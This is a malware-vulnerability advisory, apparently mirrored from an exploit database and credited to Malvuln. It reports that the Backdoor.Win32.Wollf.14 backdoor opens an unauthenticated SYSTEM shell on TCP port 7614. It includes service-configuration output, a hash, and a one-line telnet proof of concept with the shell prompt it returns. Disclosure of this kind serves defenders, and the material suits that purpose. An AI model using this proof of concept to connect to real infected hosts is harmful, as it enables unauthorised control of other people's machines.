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Backdoor.Win32.Wollf.14 / Missing Authentication

CVE Category Price Severity
CWE-16 $5000 High
Author Risk Exploitation Type Date
Unknown High Remote 2021-01-27
CPE
cpe:cpe:/o:microsoft:windows
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0 0

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010181

Below is a copy:

Backdoor.Win32.Wollf.14 / Missing Authentication
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ccd3e54eb76b3349db57481a0fe68b35.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.14
Vulnerability: Missing Authentication
Description: Wollf.14 listens on TCP port 7614 and creates a service "wrm" running as SYSTEM. The backdoor then allows casual intruders to take control of the infected system as there is no authentication required.

C:\>sc qc wrm
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: wrm
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\WINDOWS\system32\wrm.exe -start
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wollf Remote Manager
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


Type: PE32
MD5: ccd3e54eb76b3349db57481a0fe68b35
Vuln ID: MVID-2021-0055
Dropped files: wrm.exe
Disclosure: 01/26/2021

Exploit/PoC:
TELNET BACKDOORED_HOST_IP 7614

"Wollf Remote Manager" v1.4                                                                                             
Code by wollf, http://www.xfocus.org 
                                                                                                                                                                                                           
[DESKTOP-BLAHXO@C:\WINDOWS\system32]#


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